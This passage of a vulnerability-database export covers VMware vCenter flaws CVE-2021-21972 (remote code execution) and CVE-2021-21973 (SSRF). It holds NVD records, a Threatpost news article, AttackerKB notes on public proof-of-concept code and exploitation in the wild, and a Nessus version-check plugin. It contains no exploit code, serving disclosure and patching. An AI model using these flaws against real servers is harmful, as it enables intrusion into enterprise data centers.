"cpe:2.3:o:vmware:esxi:6.5:650-201811301:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810225:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201912404:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904214-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810213:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810215:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004408:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707207:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904209-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:2:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707209:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-202005001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-20191004001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707203:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908203:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908201:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904220-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904223:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904226-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908216:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004402:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201811001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908213:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810223:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707202:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707216:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:7.0.0:u1:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904213-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904225-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810204:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908202:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810221:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707218:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904212-ug:*:*:*:*:*:*"]}, {"lastseen": "2021-03-05T16:41:20", "description": "The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure. This affects: VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).", "edition": 3, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.3, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 1.4}, "published": "2021-02-24T17:15:00", "title": "CVE-2021-21973", "type": "cve", "cwe": ["CWE-918"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21973"], "modified": "2021-03-04T20:48:00", "cpe": ["cpe:/a:vmware:vcenter_server:7.0", "cpe:/a:vmware:vcenter_server:6.7", "cpe:/a:vmware:vcenter_server:6.5"], "id": "CVE-2021-21973", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-21973", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:vmware:vcenter_server:6.5:e:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:-:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u1:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:-:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u1b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3k:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u1:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u1a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3j:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1e:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*"]}, {"lastseen": "2021-03-26T12:44:53", "description": "The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).", "edition": 6, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-24T17:15:00", "title": "CVE-2021-21972", "type": "cve", "cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21972"], "modified": "2021-03-25T18:49:00", "cpe": ["cpe:/a:vmware:vcenter_server:7.0", "cpe:/a:vmware:vcenter_server:6.7", "cpe:/a:vmware:vcenter_server:6.5"], "id": "CVE-2021-21972", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-21972", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:vmware:vcenter_server:6.5:e:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:-:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u1:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:-:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u1b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3k:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u1:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u1a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3j:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1e:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*"]}], "threatpost": [{"lastseen": "2021-02-25T02:52:39", "bulletinFamily": "info", "cvelist": ["CVE-2019-19781", "CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974"], "description": "[](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)\n\nClick to Register\n\nVMware has patched three vulnerabilities in its virtual-machine infrastructure for data centers, the most serious of which is a remote code execution (RCE) flaw in its vCenter Server management platform. The vulnerability could allow attackers to breach the external perimeter of an enterprise data center or leverage backdoors already installed on a system to find other vulnerable points of network entry to take over affected systems.\n\nPositive Technologies researcher Mikhail Klyuchnikov discovered two of the flaws in vCenter Server, the centralized management and automation platform for VMware\u2019s vSphere virtualization platform, which\u2014given VMware\u2019s dominant position in the market\u2014is used by the majority of enterprise data centers. Among its duties, vCenter Server manages virtual machines, multiple ESXi hypervisor hosts and other various dependent components from a central management dashboard.\n\n## **Where the VMware Flaws Were Found, What\u2019s Effected? **\n\nThe researcher found the most critical of the flaws, which is being tracked as [CVE-2021-21972](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21972>) and has a CVSS v3 score of 9.8, in a vCenter Server plugin for vROPs in the vSphere Client functionality, according to [an advisory](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) posted online Tuesday by VMware.\n\n\u201cA malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server,\u201d the company said.\n\nThe plugin is available in all default installations\u2014potentially giving attackers a wide attack surface\u2013and vROPs need not be present to have this endpoint available, according to VMware.\n\nThe main threat in terms of exploiting the vulnerability comes from insiders who have penetrated the protection of the network perimeter using other methods\u2013such as social engineering or web vulnerabilities\u2013or have access to the internal network using previously installed backdoors, according to Positive Technologies.\n\nKlyuchnikov said the VMware flaw poses \u201cno less threat\u201d than a notoriously easy-to-exploit[ Citrix RCE vulnerability](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>), [CVE-2019-19781](<https://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiOm6_Z4rnuAhWwlosKHTPHARo4ChAWMAJ6BAgLEAI&url=https://www.forbes.com/sites/daveywinder/2020/01/25/critical-security-warning-as-shitrix-hackers-ramp-up-critical-citrix-vulnerability-cve201919781-attacks/&usg=AOvVaw2MEaqcCGRpYlOcxC-Bey_j>), which was discovered two years ago affecting more than 25,000 servers globally. It is especially dangerous because \u201cit can be used by any unauthorized user,\u201d he said.\n\n\u201cThe error allows an unauthorized user to send a specially crafted request, which will later give them the opportunity to execute arbitrary commands on the server,\u201d Klyuchnikov explained. \u201cAfter receiving such an opportunity, the attacker can develop this attack, successfully move through the corporate network, and gain access to the data stored in the attacked system, such as information about virtual machines and system users.\u201d\n\n## How is CVE-2021-21972 Exploited?\n\nIn the case in which vulnerable software can be accessed from the internet, an external attacker can break into a company\u2019s external perimeter and also gain access to sensitive data, he added. This scenario is highly likely based on previous pentests executed by Positive Technologies, which allowed researchers to breach the network perimeter and gain access to local network resources in 93 percent of companies, according to the company.\n\nAnother flaw patched by VMware in the update also has potential for remote code execution and affects the hypervisor [VMware ESXi](<https://threatpost.com/vmware-critical-flaw-esxi-hypervisor/161457/>) , the company said. [CVE-2021-21974](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21974>), with a CVSSv3 base score of 8.9. is a heap-overflow vulnerability in the OpenSLP component as used in an ESXi host.\n\nA threat actor who\u2019s already inside the same network segment as an ESXi host and has access to port 427 can use the vulnerability to trigger the heap-overflow issue in the OpenSLP service, resulting in remote code execution, according to VMware.\n\nThe other flaw Klyuchnikov discovered\u2014tracked as [CVE-2021-21973](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21973>) and the least serious of the three\u2013is a Server Side Request Forgery (SSRF) vulnerability due to improper validation of URLs in a vCenter Server plugin with a CVSS score of 5.3, according to VMWare. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure,\u201d the company said.\n\nUnauthorized users can use the flaw to send requests as the targeted server to help threat actors develop further attacks. Used in combination with the other vulnerabilities, attackers could leverage it to scan the company\u2019s internal network and obtain information about the open ports of various services, Klyuchnikov said.\n\n## What VMware is Recommending for a Fix to the Data Center Bugs?\n\nVMware advised customers to install all updates provided to affected deployments to remediate the threat the vulnerabilities pose. The company also provided workarounds for those who can\u2019t immediately update their systems.\n\nPositive Technologies also recommended that companies affected who have vCenter Server interfaces on the perimeter of their organizations remove them, and also allocate the interfaces to a separate VLAN with a limited access list in the internal network, the company said.\n\n**_Is your small- to medium-sized business an easy mark for attackers?_**\n\n**Threatpost WEBINAR:** _ Save your spot for \u201c_**15 Cybersecurity Gaffes SMBs Make**_,\u201d a _[**_FREE Threatpost webinar_**](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)** _on Feb. 24 at 2 p.m. ET._**_ Cybercriminals count on you making these mistakes, but our experts will help you lock down your small- to mid-sized business like it was a Fortune 100. _[_Register NOW_](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)_ for this **LIVE **webinar on Wed., Feb. 24._\n", "modified": "2021-02-24T17:14:55", "published": "2021-02-24T17:14:55", "id": "THREATPOST:2243706D17F2A1E930A00F49D8E30720", "href": "https://threatpost.com/vmware-patches-critical-rce-flaw-in-vcenter-server/164240/", "type": "threatpost", "title": "VMWare Patches Critical RCE Flaw in vCenter Server", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2021-04-05T21:16:17", "bulletinFamily": "info", "cvelist": ["CVE-2021-21972"], "description": "The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).\n\n \n**Recent assessments:** \n \n**ccondon-r7** at February 24, 2021 11:19pm UTC reported:\n\nUpdate March 3: Exploitation in the wild was confirmed over the weekend. See the [Rapid7 analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=assessment#rapid7-analysis>) for more updates.\n\nThere are [reports of opportunistic scanning](<https://twitter.com/bad_packets/status/1364661586070102016>) for vulnerable vCenter Server endpoints and a bunch of PoC that\u2019s made its way to GitHub over the past twelve hours or so. There hasn\u2019t been confirmation of in-the-wild exploitation yet, but it\u2019s hard to imagine that lasting for very long given the enterprise-grade incentives for attackers. As **@wvu-r7** points out in the [Rapid7 analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972#rapid7-analysis>), the update available for folks on vulnerable versions of vCenter Server merely adds authentication, addressing the attack chain rather than resolving the root cause of the vulnerability; I\u2019d be a little surprised if we didn\u2019t see a follow-on CVE at some point for an authentication bypass.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5**wvu-r7** at February 24, 2021 10:11pm UTC reported:\n\nUpdate March 3: Exploitation in the wild was confirmed over the weekend. See the [Rapid7 analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=assessment#rapid7-analysis>) for more updates.\n\nThere are [reports of opportunistic scanning](<https://twitter.com/bad_packets/status/1364661586070102016>) for vulnerable vCenter Server endpoints and a bunch of PoC that\u2019s made its way to GitHub over the past twelve hours or so. There hasn\u2019t been confirmation of in-the-wild exploitation yet, but it\u2019s hard to imagine that lasting for very long given the enterprise-grade incentives for attackers. As **@wvu-r7** points out in the [Rapid7 analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972#rapid7-analysis>), the update available for folks on vulnerable versions of vCenter Server merely adds authentication, addressing the attack chain rather than resolving the root cause of the vulnerability; I\u2019d be a little surprised if we didn\u2019t see a follow-on CVE at some point for an authentication bypass.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5\n", "modified": "2021-04-05T00:00:00", "published": "2021-02-24T00:00:00", "id": "AKB:B3E0B6D7-814D-4DB3-BA2B-8C2F79B7BE7B", "href": "https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972", "type": "attackerkb", "title": "VMware vSphere Client Unauth Remote Code Execution Vulnerability \u2014 CVE-2021-21972", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2021-03-10T15:50:41", "description": "The version of VMware vCenter Server installed on the remote host is 6.5 prior to 6.5 U3n, 6.7 prior to 6.7 U3l or 7.0\nprior to 7.0 U1c. It is, therefore, affected by multiple vulnerabilities, as follows:\n\n - The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious\n actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the\n underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7\n before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).\n (CVE-2021-21972)\n\n - The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation\n of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by\n sending a POST request to vCenter Server plugin leading to information disclosure. This affects: VMware vCenter\n Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2\n and 3.x before 3.10.1.2). (CVE-2021-21973)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version \nnumber. Nessus has also not tested for the presence of a workaround.", "edition": 6, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-02-25T00:00:00", "title": "VMware vCenter Server 6.5 / 6.7 / 7.0 Multiple Vulnerabilities (VMSA-2021-0002)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2021-21973", "CVE-2021-21972"], "modified": "2021-02-25T00:00:00", "cpe": ["cpe:/a:vmware:vcenter_server"], "id": "VMWARE_VCENTER_VMSA-2021-0002.NASL", "href": "https://www.tenable.com/plugins/nessus/146826", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(146826);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/09\");\n\n script_cve_id(\"CVE-2021-21972\", \"CVE-2021-21973\");\n script_xref(name:\"IAVA\", value:\"2021-A-0109\");\n\n script_name(english:\"VMware vCenter Server 6.5 / 6.7 / 7.0 Multiple Vulnerabilities (VMSA-2021-0002)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A virtualization management application installed on the remote host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of VMware vCenter Server installed on the remote host is 6.5 prior to 6.5 U3n, 6.7 prior to 6.7 U3l or 7.0\nprior to 7.0 U1c. It is, therefore, affected by multiple vulnerabilities, as follows:\n\n - The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious\n actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the\n underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7\n before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).\n (CVE-2021-21972)\n\n - The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation\n of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by\n sending a POST request to vCenter Server plugin leading to information disclosure. This affects: VMware vCenter\n Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2\n and 3.x before 3.10.1.2). (CVE-2021-21973)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version \nnumber. Nessus has also not tested for the presence of a workaround.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.vmware.com/security/advisories/VMSA-2021-0002.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to VMware vCenter Server 6.5 U3n, 6.7 U3l, 7.0 U1c or later or apply the workaround mentioned in the advisory.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-21972\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'VMware vCenter Server Unauthenticated OVA File Upload RCE');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/02/23\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/02/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/02/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:vmware:vcenter_server\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"vmware_vcenter_detect.nbin\");\n script_require_keys(\"Host/VMware/vCenter\", \"Host/VMware/version\", \"Host/VMware/release\");\n script_require_ports(\"Services/www\", 80, 443);\n\n exit(0);\n}\n\nfixes = make_array(\n '6.5', '17590285', # 6.5 U3n\n '6.7', '17137232', # Lower version for 6.7 U3l from https://kb.vmware.com/s/article/2143838\n '7.0', '17327517' # 7.0 U1c\n);\n\nport = get_kb_item_or_exit('Host/VMware/vCenter');\nversion = get_kb_item_or_exit('Host/VMware/version');\nrelease = get_kb_item_or_exit('Host/VMware/release');\n\n# Extract and verify the build number\nbuild = ereg_replace(pattern:\"^VMware vCenter Server [0-9\\\\.]+ build-([0-9]+)$\", string:release, replace:\"\\1\");\nif (build !~ \"^[0-9]+$\") audit(AUDIT_UNKNOWN_BUILD, 'VMware vCenter 6.5 / 6.7 / 7.0');\n\nmatch = pregmatch(pattern:\"^VMware vCenter ([0-9]+\\.[0-9]+).*$\", string:version);\nif (isnull(match)) audit(AUDIT_OS_NOT, 'VMware vCenter 6.5 / 6.7 / 7.0');\n\nver = match[1];\nif (ver !~ \"^(7\\.0|6\\.(5|7))$\") audit(AUDIT_OS_NOT, 'VMware vCenter 6.5 / 6.7 / 7.0');\n\nfixed_build = int(fixes[ver]);\nif (empty_or_null(fixed_build)) audit(AUDIT_VER_FORMAT, ver);\n\nrelease = release - 'VMware vCenter Server ';\nif (build >= fixed_build)\n audit(AUDIT_LISTEN_NOT_VULN, 'VMware vCenter', port, release);\n\nreport = '\\n VMware vCenter version : ' + ver +\n '\\n Installed build : ' + build +\n '\\n Fixed build : ' + fixed_build +\n '\\n';\n\nsecurity_report_v4(port:port, 